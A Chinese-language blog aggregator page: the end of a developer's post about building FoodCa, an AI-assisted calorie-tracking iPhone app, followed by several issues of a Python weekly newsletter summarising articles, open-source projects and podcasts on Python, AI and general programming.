但是,可能由于 chatGPT 并没有专门针对食物营养数据做训练,所以有较大的概率,它给出的热量和营养元素的预估,是错误的,在另一些时候,它又不知道,例如

在这个场景下,它回答不知道是比它瞎说要好的,但考虑到食物种类的繁多,单纯用 chatGPT 似乎无法实现我的需求。

我开始琢磨新的办法,我从网上找到了几个食物数据库,包括美国 usda 的数据库,然后做了简单的数据清洗,将其制作成一个涵盖了10万种食物和原材料的数据库,接下来,我降低了 chatGPT 的工作量,仅仅让其拆解出句子里的食物,并预估重量,专业的热量和营养元素的计算则对接食物数据库来进行,而不是依靠 chatGPT 的「知识」。

完成这个处理后,我发现其识别效果和最终结果都好了一大截,我开始从这个核心的功能开始,去写一个新的 app,我每天晚上大概写2个小时,最终花了半个多月,完成了这个新的 APP。

我给它取名字叫 FoodCa,可以理解为Food+Calorie,也可以理解为伏特加的卖萌读法,看你喜欢。

这个 app 实现了我对一个极简的热量记录工具的全部要求,例如,直接说出你今天一天吃的东西,自动识别,拆解,预估重量,得到热量和营养元素:

 

非常简单,但是又挺好看(我自己认为)的数据图,能大概看看

 

此外,为了增加一点记录的趣味性,我还做了一个「AI营养师」的功能,如果你有记录,那么每天晚上9点,可以召唤它来给你写一条评论,它会根据你当天的食物摄入来非常友好的给你一些建议:

 

很惭愧,我两年前就自学了 swiftUI 来写 iOS app,但是这两年可以说毫无长进,这次开始写新 app,本以为会驾轻就熟,结果发现我差不多忘的精光了,因此开头的几天我的进度极慢,几乎可以称之为「找回记忆」的阶段,我温习了swiftUI 的很多基础,大概一周后,进展才开始变得顺利一点。

因为我每天只在下班后的晚上写,所以写了很久,几天前我终于把 foodCa 写的差不多,提交了 AppStore审核并通过了,至此,一个新的小产品算是开发完成了。

我自己通过 testflight 安装的测试版本,我已经用了半个月,每天记录热量摄入变得更加简单轻松,甚至更有趣(不确定是不是因为我自己做的所以有感情分),这是我个人的一个小产品,虽然放入了基础的商业模式(卖3块钱的会员,因为我也要给 chatGPT 交钱),但大概率没办法成为一个多么赚钱的产品,它没有什么天花板,护城河,也没有什么壁垒,我猜现在可能就有高仿的产品正在开发中。

但是啊,我自认为这依然是一个值得骄傲的产品,某种程度上,这是将 AI 能力,用于一件实际的事情的范例,我已经看到太多聊天框,文本框了,似乎我们提到 chatGPT 或者别的什么文本大模型,就只能想到聊天,对话,文本生成,也正因为如此,AI圈继元宇宙之后成为了神棍和骗子的天堂。

​要么就做更单纯且有趣的事情,要么,就将 AI 用在更加实际,更加落地,看得见,摸得着的地方,只有这样,AI 呼啸而来之时(这几乎无可避免),才能把我们托起来,而非淹没。不过我对这一点并不是特别乐观,但我动了脑子了,也做了一些努力了。

如果你对我的这个小产品感兴趣,或者好奇将 AI 用在食物热量记录上是一种怎么样的体验,又恰好你用的是 iPhone,不妨去下载一个试试看,你可以直接在 AppStore 搜索 FoodCa,或者点击下面的链接也能下载。

FoodCa:https://apple.co/47egICL

by DK at July 30, 2023 05:21 PM

July 29, 2023

pythoncat

Python 潮流周刊#13:Jupyter Notebook 7 发布了,无 GIL 提案传来大好消息!

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文,已在小标题注明。(标题取自其中一则分享,不代表全部内容都是该主题,特此声明。)
本周刊精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
周刊已开通 Telegram 频道,欢迎加入:https://t.me/pythontrendingweekly

🦄文章&教程

Jupyter Notebook 大版本更新,亮点包括实时协作、交互式调试、目录、主题和深色模式、国际化、改进的可访问性、移动设备上的紧凑视图。
Python 的基础类型 Int、List、Dict、Tuple、Str 不支持弱引用,而 Object、Type、Set 等类型却支持弱引用,为什么会出现这种情况呢?文章给出了自己的分析。
什么情况下要使用分布式锁?如何用 py-redis 实现分布式锁,加锁与解锁的流程是怎样的?加锁的超时时间有什么注意点,如何实现 WatchDog 给锁自动续约?
一篇 PyScript 入门教程,介绍了安装、基础知识、配合 Flask 的使用以及高级功能。
什么是文件 I/O,为什么它会比主内存 I/O 慢很多?文件 I/O 的速度与哪些因素有关?有哪些提升文件 I/O 性能的方法?
文章介绍了一些最佳编程实践,涵盖代码结构、pre-commit、类型提示、文档字符串、lint、Pydantic、拼写检查、测试等方面。
文章详细对比了当前最为流行的 6 种日志框架:logging、loguru、structlog、Eliot、logbook 与 picologging 。最推荐的无疑是前两个,其它权当兴趣尝鲜吧。
如何使用 cProfile 来对 Python 代码进行性能分析?文章简单介绍了它的用法,并给出了上下文管理器与装饰器两种高级用法。
文章介绍了函数式编程的优点、Python 对函数式编程的支持、最佳实践以及编写 Python 程序时要避免的错误。
在 Python 3.12 之前,f-string 有什么限制?即将发布的 3.12 版本会带来哪些变化呢?新功能前瞻:嵌入表达式可以重用引号、f-string 中允许使用反斜杠、多行表达式中可写注释、任意级别的 f-string 嵌套、优化了 f-string 的错误提示……
介绍了如何使用名为 AsyncMixin 的 mixin 在 Python 中创建异步构造函数。
不安全的直接对象引用 (IDOR) 是一种安全漏洞,文章介绍了这种漏洞的危害,如何识别并修复 IDOR 漏洞。
作者介绍了如何识别和优化特征存储中 CPU 密集型代码,从而提升核心模型的性能。事件循环延迟是什么,如何监控异步代码消耗的时间?
交叉编译是指在一台计算机上编译适用于另一种体系结构的程序。这份 PEP 试图揭示交叉编译遇到的挑战,并以此进行改进。
在项目中记录和管理第三方库,这有很多解决方案。但是,如何给单文件管理三方库依赖呢?这份 PEP 提出了一种很简单的规范格式。
🎁Python潮流周刊🎁已免费发布了 13 期,访问下方链接,即可查看全部内容:https://pythoncat.top/tags/weekly
如果你觉得周刊有价值,请表达小小心意,赞赏一下猫哥吧~~

🐿️项目&资源

基于 AI 的简历匹配器,根据 JD 的关键词给简历打分。使用 Qdrant(一种高效的向量相似度搜索工具)来衡量简历与 JD 的匹配程度。
PyHAT 旨在 Python 中推广 htmx+ASGI+TailwindCSS,这个项目列出了一些入门资源、教程、设计理论、周边生态等等。
基于 ChatGLM2-6B 基座语言模型,在 Python 上达到 35.9% 的 Pass@1 一次通过率,超越规模更大的 StarCoder-15B。CodeGeeX 插件支持 VS Code、 IntelliJ IDEA、PyCharm、GoLand、WebStorm、Android Studio 等IDE。(star 1K)
开源可商用的中文版 Llama2 模型及中英文 SFT 数据集,兼容适配所有针对原版 llama-2-chat 模型的优化。(star 1K)
中文开源项目,三步上手 LLaMA2,作者写了一系列教程博客。
一个全栈项目,快速将数据和 AI 构建出 Web 应用。
允许在运行中的 Python 进程里注入自定义代码,以实现动态调试、修改变量值、破解加密、分析运行时行为等功能。支持多种注入方式,包括注入到 Python 解释器、注入到指定函数、注入到特定线程等。(star 2.7K)
在运行中的 Python 进程里提供交互式的调试和监控功能,利用 Python 的”ptrace”机制,通过在目标进程中注入代码,可通过 SSH 或 telnet 等协议连接,实现远程交互。与 gevent 和 eventlet 兼容,有少许限制。
一个非常完备的教程项目,指导在 Docker 上运行 Python、设置开发环境与容器扩展、测试与部署等。
使用 SeleniumPlaywright 等框架时,要管理各种浏览器驱动。这个项目简化了浏览器驱动的管理与使用方式。
JetBrains 开源的一个绘图库,可创建美观、交互式的统计图表和数据可视化。为 Python 和 Kotlin 开发者提供类似 ggplot2 的绘图 API。(star 1.1K)
一个小型 python-gtk 程序,通过直观的方式编辑 PDF 文档。它的后端基于 pikepdf ,这是一个用于读写 PDF 文件的库。(star 2.3K)

🥂讨论&问题

在第 11 期周刊中,我们分享过“如果 PEP-703 被采纳,Meta 将投入人力支持”,现在又有进展啦,指导委员会打算接受 PEP-703 了!这篇帖子列出几个基本原则与三个阶段的开发计划。向后兼容性是重中之重,这不会是 Python 4。

🐱赞助&支持

如果你觉得周刊有价值,请随意赞赏买杯咖啡 进行支持!
如果你喜欢周刊,请分享给其他需要的同学,让更多人可以从中受益~

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

July 29, 2023 12:00 AM

July 22, 2023

pythoncat

Python 潮流周刊#12:Python 中如何调试死锁问题?

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文,已在小标题注明。(标题取自其中一则分享,不代表全部内容都是该主题,特此声明。)
本周刊精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
周刊已开通 Telegram 频道,欢迎加入:https://t.me/pythontrendingweekly

🦄文章&教程

介绍了一款强大的工具 PyStack,可以解决一些难以调试的问题,如死锁、程序挂起、段错误、Python 和 C/C++ 混合应用调试等。它支持两种调试方法:附加到运行中的进程,或分析崩溃进程的核心转储文件。
一个非常完备的 FastAPI 项目模板,带有 CI/CD、Docker、PostgreSQL、Makefile、单元/集成测试、linting及类型检查。
Polylith 是一种软件架构框架,核心思想是将系统分解为一个个可测试的、可重用的独立单元。作者结合 FastAPI 与 Polylith 架构,开发了一个项目模板。
详细解析了 logging 模块,从基本介绍到实际应用和最佳实践,介绍了如何高效地用它记录日志,以及如何避免常见的陷阱。
文章使用 JMeter 分别测试了 Rust 的 Axum 框架以及 Python 的 Blacksheep 框架。猜猜最终的测试结论是什么呢?
Meta 发布了 DINOv2 视觉预训练模型,能够准确地理解图片中的语义信息。这篇文章用它开发了一个 Python工具,能够检索若干张图片在测试数据集中最相似的图。
Python 标准库中有哪些实用的小工具,可以直接写 python -m xxx 调用?这篇文章使用 ripgrep 查找出几十个模块,并重点介绍了http.serverbase64asynciotokenizeastjson.toolrandom 等工具。
Tailwind 是近几年在前端很火的一个 CSS 框架,如何将它运用到 Python Web 项目中呢?文章主要介绍了tailwindpie 这个库,并演示如何在 Flask 项目中使用它,实现自动安装及配置 TailwindCSS。
介绍 Python 中元编程的几种机制:装饰器、元类、函数及类装饰器、动态代码生成,以及常用于元编程的关键字与内置函数。
一篇硬核长文,介绍了 CPython 如何表示程序的调用栈以及如何将字节码地址解析为源代码行号。文章剖析了 CPython 的内部机制,提供了 CPython 性能分析和调试的有用信息。
Pathlib 是 Python 中作目录相关操作的库,而且应该是最好用的一个。文章详细介绍了它的常见用法,对比了其它常用工具,并且针对一些场景作了性能分析。
文章分享了三家大型网站的软件架构。
代码的可读性与可维护性,再怎么强调也不为过!这篇文章介绍了一些基础的原则,但却非常体现程序员的编程素养。
Meta 的几千名开发者使用了哪些支撑大规模协作的工具呢?文章介绍了几款开源工具(Sapling 版本控制、 Buck2 构建系统、 Infer/ RacerD/Jest 测试与静态分析),另外 Meta 官博还有一篇介绍开发者工作流的文章 Meta 开发者工作流:探索大规模编码工具
🎁Python潮流周刊🎁已免费发布了 12 期,访问下方链接,即可查看全部内容:https://pythoncat.top/tags/weekly
如果你觉得周刊有价值,请表达小小心意,赞赏一下猫哥吧~~

🐿️项目&资源

Github 上有哪些运用了最佳实践,并且有强大而良好架构的项目?这是 Reddit 上的帖子,可去看看大家推荐了什么。
一份非常全面的 Python 知识手册,除了 Github 仓库,还有在线网站及 PDF 版本。(star 33K)
国人开源的项目,实现了网页版 ChatGPT 的主要操作,能解决国内访问 ChatGPT 的诸多痛点。(star 18.6K)
这个框架可以快速开发由数据库驱动的 Web 应用,它基于流行的全栈框架 web2py ,但比后者快 10-20 倍。
基于 FastAPI、Vue2.x、ElementUI、MySQL 等框架精心打造的一款模块化、高性能、企业级的敏捷开发框架,实现了可插拔的组件式开发方式。国人作品(收费),有完善的中文支持。
这个项目的中文名叫“齐叨”,可同时与多个 AI 对话,方便取得最佳答案。(star 8.2K)
纯 Python 开发的向量数据库,支持 CURD 及强大的可扩展能力(分片与复制)。使用了 DocArray 充当驱动向量搜索逻辑的引擎,使用 Jina 保证高效和可扩展的索引服务。
一个纯 Python 实现的有序容器库,提供了列表、集合与字典的有序版本,API 兼容,号称经常比 C 实现更快。用户指南中提供了几份性能对比报告,数据很可观。(star 3K)
这是基于 Flask 框架而作的异步版实现,支持快速将 Flask 项目改造成支持异步。(star 2K)
一个强大的自动化内容生成框架,简化了视频创建、素材获取、字幕生成、画外音合成和编辑任务。(star 1.4K)

🐢播客&视频

这期播客的嘉宾曾出现在我们周刊的第 7 期,他给 CPython 添加返回常量指令 ,节目聊了他给 CPython 做的这项工作以及在腾讯做编译器开发的情况。
Robyn 是用 Rust 开发的轻量级、高性能 Python Web 框架。这期播客聊了关于 Robyn 的相关话题。
Python 网络大会(Python Web Conf)今年举办了第 5 届,上周发布了相关的视频材料,涵盖主题有人工智能/机器学习、大数据、CI/CD、Serverless、安全、容器等等。
想要了解 AI?想观看关于 ChatGPT 的相关视频?想发现最新潮的 AI 工具?这里推荐了 6 个油管频道。
这是我本周听到最喜欢的一档播客!这期节目聊了就业与人生选择的相关话题。(如果你是高考毕业生,可去听第 11 期高考特辑 成为状元 9 年后,我还在做高考的噩梦

🐱赞助&支持

如果你觉得周刊有价值,请随意赞赏买杯咖啡 进行支持!
如果你喜欢周刊,请分享给其他需要的同学,让更多人可以从中受益~

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

July 22, 2023 12:00 AM

July 15, 2023

pythoncat

Python潮流周刊#11:如何使用 Golang 运行 Python 代码?

你好,我是猫哥。这里每周分享优质的 Python 及通用技术内容,大部分为英文,已在小标题注明。(标题取自其中一则分享,不代表全部内容都是该主题,特此声明。)
本周刊精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
周刊已开通 Telegram 频道,欢迎加入:https://t.me/pythontrendingweekly

🦄文章&教程

如何使用 Golang 来运行 Python 代码呢?关于 Python 版本和硬件,有哪些使用限制呢?这篇文章使用 Docker 解决环境依赖问题,使用开源项目 cpy3,成功用 Golang 运行 Python 代码。它有一篇续文《使用 Golang 和 Docker 实现 Python 计算服务》,将普通的 Python 软件包封装为高性能的可通过 gRPC 方式调用的服务。
很多程序员容易忽略一件事:那就是阅读代码的时间会远多于写下它们的时间!这意味着代码的可读性非常重要,因此当我们在“实现需求”时,除了要考虑用户的功能需求外,更应多加关注如何写出可读性高的代码。
@NoHeartPen 投稿:在看了第一期中对 conda 的吐槽 后,开始关注这个问题,但一直没有找到比较系统的总结,看了这篇文章后终于有了大致的思路(这篇文章不仅写了「怎么做」,还写了「为什么」,让我改掉了不建虚拟环境的陋习和放弃折腾 conda)。另外,附上翻译版 如何减轻 Python 打包之痛
NumPy 的作者 Travis Oliphant 曾说,如果当时给 NumPy 添加了 GPU 的支持,就没有后来的 Tensorflow、Torch 等深度学习框架什么事了。CuPy 是一个兼容 Numpy 且支持 GPU 的库(star 7K),这篇文章介绍了它的安装及数组的基础知识。
为什么说 Python 中一切皆对象?为什么 Python 用起来比其它静态类型语言慢很多?这篇文章从 CPython 的对象构造器入手,介绍了 CPython 底层数据结构、对象创建的过程、动态性的实现方式等内容。
一篇长文,使用 Flask + Flask RESTful 搭建一个 API 应用,使用 Flask-SQLAlchemy 扩展实现 ORM 操作 MySQL 数据库,基于 JWT 验证实现注册、登录以及登出接口,解决跨域问题,并使用 Docker 部署该应用。
探讨了 Django 中的请求与响应处理,包含基础知识、生命周期、HttpRequest 和 HttpResponse 对象的详细介绍。同时,讨论了 Django 的视图和请求、响应处理,以及安全性和异步处理的考虑。最后,对比了 Django 与 Flask、FastAPI 等框架在请求响应处理上的异同。
作者在给一个生产项目添加 Mypy 类型检查时遇到了诸多问题:很多库不提供 pyi 类型、TypedDict 使用受限、Optional 类型需要许多断言、混合类需要实现协议、Django 模型不支持泛型。简而言之,给历史项目加上类型检查是一件痛苦的事,最好是从一开始就考虑。
Notion 是一款强大的知识管理软件,这篇教程教你如何用 Python 操作 Notion 的数据库:创建集成、在数据库中创建页面、查询数据库与页面、更新页面、删除页面。
如何将 Rust 代码打包为 Python 可使用的扩展?maturinsetuptools-rust 是主流的两种方式。但是,在做原型设计时,打包与集成过程还是挺麻烦,这篇文章介绍了一个新的库 rustimport ,可以直接从 Python 中导入 Rust 代码!文章介绍了它的使用方法、Rust 初学者最常见的性能错误、以及使用 rustimport 时的一些陷阱。
Python 的换行与缩进是程序结构的基础部分。空格在 Python 的语法解析中起到什么作用,词法分析器如何处理换行和缩进?Python 的空格有哪些优点和缺点?Python 如何解析代码并生成抽象语法树?
介绍了 7 种从 Python 字典中删除重复值的方法:使用 for 循环、使用字典解析式、使用 setdefault() 方法、使用 values() 和 set() 方法、使用 collections.defaultdict()、使用列表解析式、使用 dict.fromkeys() 和 values()。
什么时候该给项目作性能优化?性能调优前该关注哪些内容,应该使用什么工具?这篇文章介绍了timetimeitcProfilePyinstrumentperf 等工具以及一些性能优化的技巧。
介绍了 3 个非常好用的库:JMESPath 可以很方便查询 Json 中的元素(star 1.9k),inflection 可以很方便处理字符串(比如批量将驼峰式变量名修改成蛇形命名),more-itertools 类似于标准库的itertools 提供了很多操作可迭代对象的方法(star 3.1k)。
你见过接近 3 万个文件(不含测试)的 Python 单体代码仓么?全球有 400 开发者共同开发,如何避免混乱?作者介绍了分层管理代码仓的做法、使用的架构和工具(import-linter)、以及克服过的一些困难。
🎁Python潮流周刊🎁已免费发布了 11 期,访问下方链接,即可查看全部内容:https://pythoncat.top/tags/weekly
如果你觉得周刊有帮助,请表达小小心意赞赏下猫哥吧~~

🐿️项目&资源

新上线的 Threads 依然是本周最火爆的科技话题之一。这个项目通过逆向工程获得了它的 API,可让你使用 Python 操作 Threads 的很多功能。
这个项目用 RSS 抓取 AWS、Apple、DeepMind、Google、Meta、Stripe 等科技公司的博客,调用 gpt-3.5 生成摘要,将数据存储在 supabase 中,并在 Vercel 上托管了一个 Next.js 网站
可以为 Djiango 模板添加现代响应式的组件功能,无需使用 Javascript 框架。支持表单验证、重定向、加载状态、部分更新、滚动触发、消息、Javascript 集成等等丰富的功能。
可以批量将图片的链接进行本地到图片服务器、图片服务器到本地、图片服务器到图片服务器的转换。(@Zeeland 投稿)
可以通过人工智能来提升天气预报的准确度啦?!Pangu-Weather 是一个快速而准确预报全球天气的 3D 高分辨率模型。这个仓库提供了伪代码、预训练模型、推理代码等资源。
基于 4 百万个中文医学领域和通用领域的指令微调,支持医学领域的各种自然语言处理任务,包括健康教育、医师考试问题、报告解读、医疗记录结构化以及模拟诊断和治疗。基于这个大模型,已经有不少应用,比如与 X-ray 图像模型结合的应用 XrayPULSE
可扫描虚拟环境中未使用的依赖库,支持 Poetry、Pipenv、PDM、 requirements.txt 文件以及 PEP-621 的 pyproject.toml 文件。
一个面向自媒体创作、直播和运营等领域的大语言模型,能够理解抖音运营、短视频创作、巨量千川投放、直播运营等领域的核心概念和策略,支持内容创作、平台运营、广告投放等。
一个元编程框架,可以为 GPT 分配不同的角色(如产品经理/架构师/项目经理/工程师),共同协作完成复杂的软件开发任务。仅需一句话需求,就能输出用户故事/竞争分析/需求/数据结构/API/文档等。(star 3.7k)
基于个人的 Markdown 笔记、PDF 文件、Github 代码仓和照片,打造支持搜索与聊天的 AI 助理,可通过浏览器、Emacs、Obsidian 和移动设备等多种界面进行交互。
一个命令行聊天工具,可以让 GPT 创建新项目,或修改现有 git 代码仓中的代码。它可以轻松完成 git 提交、比较和撤消更改,无需人工复制/粘贴。(star 2.3k)
一篇 CVPR 2023 最佳论文的官方实现,可以实现:基于图片内容的自然语言问答与推理、图片内对象标注、自然语言图片编辑等功能。

🐢播客&视频

Python 在 Netflix 中有大量的使用场景,比如 CDN、需求预测和容灾、安全、机器学习等等。这期播客节目聊了 Netflix 在使用 Python 时的相关话题。另外,分享它官博上获得 8k 赞的一篇旧文《Python at Netflix》。
这期播客聊了很多话题,其中关于 Pydantic 的有两则:V2 版本已发布、一个awesome-pydantic 清单,后者收录了很多使用 Pydantic 的开源项目。

🥂讨论&问题

知乎上的一个问题,前排有很多高赞的回答,八仙过海各显神通!
Python 社区今年最受瞩目的提案当属 PEP-703 了吧(我曾在年初介绍过)!Guido 上个月在论坛中说要是能得到 Meta 等科技公司的支持就太好了。好消息来了,上周 Meta 承诺可以提供人力支持。消息在 Twitter 和 Hacker News(查看 HN 帖子)等平台上,获得了激烈的讨论。

🐱赞助&支持

内容创作要花费大量的时间和精力,如果你觉得有帮助,请随意赞赏买杯咖啡 进行支持!
如果你喜欢本周刊,请转发分享给其他需要的同学,让更多人可以从中受益~

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

July 15, 2023 12:00 AM

July 08, 2023

pythoncat

Python潮流周刊#10:Twitter 的强敌 Threads 是用 Python 开发的!

你好,我是猫哥。这里每周分享优质的 Python 及通用技术内容,大部分为英文,已在小标题注明。(标题取自其中一则分享,不代表全部内容都是该主题,特此声明。)
周刊已开通 Telegram 频道,欢迎关注:https://t.me/pythontrendingweekly

🦄文章&教程

常见的垃圾回收算法有哪些,它们的优缺点是什么?Python 的垃圾回收机制由什么组成,如何解决内存泄漏问题?Golang 的垃圾回收机制又是怎样的,如何解决内存泄漏问题?
编程竞赛需要在限定时间内解决一系列难题,这篇文章介绍了在编程竞赛中作自动调试的方法。它的方法除了可以提升成绩,对于现实的软件开发也有所启示。
Python 3.12 最终版将在今年 10 月发布,其中最大的变化之一是支持 Linux perf 分析器。这篇文章介绍了什么是 Linux perf 分析器、perf 能给 Python 带来什么好处、如何在 Python 3.12 中使用 perf、如何分析性能数据、性能数据可视化……
Łukasz Langa 是 PSF 的首个全职开发者(由 Meta 赞助),近日发文表示要新招聘一名“副手”工程师(由彭博社赞助)!两周前,PSF 官网刚公布了首个全职的安全开发工程师 (由 OpenSSF 赞助),现在又有了新的赞助,真的要感谢慷慨的赞助者们!
PEP-563 注解的延迟求值,PEP-649 使用描述符作注解的延迟求值。这篇 2021 年的文章出自 PEP-563 的作者 Łukasz Langa,介绍和对比了这两个 PEP。它们都是 Accepted 状态,然而原计划在 3.10 发布的 PEP-563 已被宣告无限期搁置 ,所以它似乎需要更多的关注?(@Plutonium 投稿)
在构建复杂软件时通常会使用设计模式。文章介绍了观察者设计模式、其使用场景与 Python 代码示例,另外与事件驱动架构(EDA)作了几项对比。
文章介绍了 Python 中三种导入模块的方式和__all__的用法,重点介绍了一种替代__all__的方法,即在 __init__.py 文件中直接导入所需的名称。
如何用 Python 来实现一门编程语言呢?这是一个系列教程,第一篇中实现了一个非常基础的编程语言,可以执行 print 语句,第二篇则拓展成支持变量和数学表达式。涉及词法分析、语法分析、代码生成及执行等知识。
Counter 是 Python 中最好用的数据结构之一。这篇文章介绍了一些很有用的操作:获取出现次数最多的 N 个内容、添加内容到 Counter、移除内容、删除负计数内容、Counter 作算术运算、Counter 传入生成器表达式。
Numba 是用于提升 Python 性能的常用手段,这篇文章介绍了它的重要功能 Vectorize(矢量化),包括它的内部原理,了解它如何充分利用单指令多数据(SIMD)操作的强大功能。文中展示了 5 个使用场景的代码示例。
Paul Graham 是《黑客与画家》的作者,最近发布了文章《How to Do Great Work ?》。一句话概括要点:做出伟大的工作需要好奇心、努力和适合自己的工作类型。文章较长,关键的几个问题:什么是做伟大工作的关键?如何找到适合自己的工作类型?如何保持好奇心?什么是伟大工作的标准?为什么要努力做伟大工作?
翻译自 Paul Graham 写于 2021 年的《How to Work Hard ?》,可与上一则内容关联阅读。
这是一篇关于 Django 的聚合类月刊,分享了一些学习 Django 的技巧、资源、文章,等等。
🎁Python潮流周刊🎁已免费发布了 10 期,访问下方链接,即可查看全部内容:https://pythoncat.top/tags/weekly

🐿️项目&资源

本周重大新闻:Meta 推出了 Twitter 的竞品 Threads,仅两天的注册量就已突破三千万。它的后端使用了 Cinder,这是基于 Python 3.10 构建的高性能版本,包含许多性能优化,包括字节码内联缓存、协程的预先求值、每个方法一次的 JIT,以及一种实验性的字节码编译器。(star 2.6K)
用不到 200 行代码编写的快速、轻量级和简易的矢量数据库。
使用 GPT 将少量代码从一种编程语言转换成其它语言,这已非难事。但是,整个代码仓级别的语言/框架迁移,听起来就不是一件容易的事!这个项目需要使用 GPT-4,目前在 Python 和 Javascript 这种“简单”的语言上有不错的效果。(star 5.4K)
这是将 FastAPI 移除所有 HTTP 逻辑后改造成的依赖注入框架。
这是一个基于 LLM 的系统,连接中国金融市场,目前可以访问中国的股票、基金、经济及金融数据、实时新闻。
Read the Docs 是一个用于构建和发布文档的开源平台(你肯定见过它家的 Sphinx 或 MkDocs 生成的文档),这个仓库收录了一些开源项目的文档,可以学习它们是如何构建出酷炫效果的。
这是一个通用的人类舞蹈生成工具包,可以根据参考图片和姿势,生成人类舞蹈图片和视频。
Mark Shannon 由于“香农计划”而被很多人所知。这里分享的是他 2011 年在格拉斯哥大学的博士论文(可下载的 PDF),描述了一种用于构建动态语言虚拟机的方法,并解释了如何通过围绕一个抽象机器来构建虚拟机工具包的设计。
盲水印(Blind Watermark)是一种数字水印技术,可以在不需要原图或文本的情况下,将水印嵌入到数据中。这个项目是基于频域的数字盲水印,在多种攻击方式下仍能有效提取。(star 3.6K)
这是一个开源的多模态大模型系列,支持中英双语的多模态对话能力(VisCPM-Chat模型)和文到图生成能力(VisCPM-Paint模型)。基于百亿参数量语言大模型 CPM-Bee(10B)训练(周刊第 7 期曾介绍过),融合视觉编码器(Q-Former)和视觉解码器(Diffusion-UNet)以支持视觉信号的输入和输出。
polars 是用 Rust 写成的 Python 库,用于进行数据分析。这个仓库包含有 9 个章节的使用教程。
像 Netflix、Airbnb 和 Doordash 这样的公司如何运用机器学习来改善其产品和流程?这个网站整理了 64 家公司的 200 个案例,可以了解到机器学习的现实用例,学习如何设计机器学习系统。

🥂讨论&问题

Hacker News 上的问题,有哪些关于技术历史的好书推荐?
也是 HN 上的问题,有哪些关于编程语言、符号逻辑、算法、操作系统等 CS 书籍推荐?

🐼关于周刊

Python 潮流周刊,由豌豆花下猫主理,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
内容创作要花费大量的时间和精力,如果你觉得有帮助,请随意赞赏买杯咖啡 进行支持!如果你喜欢本周刊,请转发分享给其他需要的同学,让更多人可以从中受益~
本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

July 08, 2023 12:00 AM

July 01, 2023

pythoncat

Python潮流周刊#9:如何在本地部署开源大语言模型?

你好,我是猫哥。这里每周分享优质的 Python 及通用技术内容,部分为英文,已在小标题注明。(标题取自其中一则分享,不代表全部内容都是该主题,特此声明。)
周刊的投稿通道已开放,请在 Github 项目中提交 issue:https://github.com/chinesehuazhou/python-weekly

🦄文章&教程

一篇步骤清晰的教程,它使用 LangChain 及 Facebook 开源的 LLaMA 大语言模型搭建了一个基于文档的问答助手,另外使用 Streamlit 构建出一个美观的用户界面。(附一篇中文的翻译文
一个 Python Asyncio 协程会占用有多少内存呢?文章的测试结论是约 2Kb。另外,文中还测试了以下的问题:每秒可创建多少个裸协程?每秒可处理多少个协程?使用uvloop 后,创建及处理协程任务,能有多少提升?
asyncio.Runner 是 Python 3.11 中新增的功能,支持在同一事件循环中执行多个协程。文章主要内容:如何使用 asyncio.run() 运行多个协程,如何使用包装方法运行多个协程,以及如何使用 asyncio.Runner 类在同一个事件循环中以自适应甚至有条件的方式执行协程。
在并发编程中,通常需要使用锁,但是不应该滥用锁。这篇文章探讨了如何尽量不依赖锁来实现并发,演示的例子是生成短链接,主要的思想是“请求宽恕”而不是“提前检查”、使用 PostgreSQL 数据库提供的功能。
文章介绍了 CPython 是如何把 Python 代码跑起来的,主要过程:词法分析、语法分析、编译到字节码、执行字节码。
文章探讨了 JIT 编译的概念及其优点,并深入分析了主流的 Python JIT 编译器的优缺点(如 PyPy、Numba 和 Cython),介绍了在 Python 中使用 JIT 编译器的最佳实践和准则。
当我们说 Python 时,通常指的是官方实现的 CPython,但还有很多的“Python”,比如 Pypy、Jython、MicroPython、Brython、RustPython 等等,还有很多像是新“Python”的东西,比如 Nuitka、WinPython、Psyco、Pyjion 等等。文章解释了相关的概念和工具。
APScheduler 是一个调度和自动化任务工具,它的 AsyncIOScheduler 支持调度异步函数和协程,文章介绍了它的功能、优点以及如何优化异步任务调度需求。
GPT 和其它大语言模型可以快速生成大量代码,但这也可能导致很多的混乱代码。文章探讨了如何改进这些工具生成的代码,并将其融入到项目中的几种方法,包括采用专家角色、提供示例、遵循最佳实践、遵循标准和明确指南以及代码放置的恰当位置等。
在不考虑并行处理的情况下,如何提升 Numpy 性能?NumPy 有三个固有瓶颈(急切执行、通用编译代码和向量化导致的高内存使用率)。针对这些瓶颈,文章介绍四种解决方案:手动优化代码、使用 JAX 作即时编译、使用 Numba 作即时编译,以及使用提前编译。
Numba 是一个专用的即时编译器,通过将 Python 代码编译为高效的机器代码来消除解释执行的开销,从而提升性能。文章介绍了 Numba 的功能、内部原理、主要用法和常见问题。
如何使用较少的时间和精力来提升代码的质量?文章介绍了一些提升代码质量的工具(flake8、Black、isort、mypy、bandit等),以及使用 IDE、CI 和 pre-commit 等方式自动化调用这些工具。
PandasAI 是最近火爆的库,为 Pandas 集成了 AI 对话功能,可简化数据操作。文章介绍了 PandasAI 作复杂查询与图表可视化的方法,以及介绍了它提供的十几个方便好用的函数。
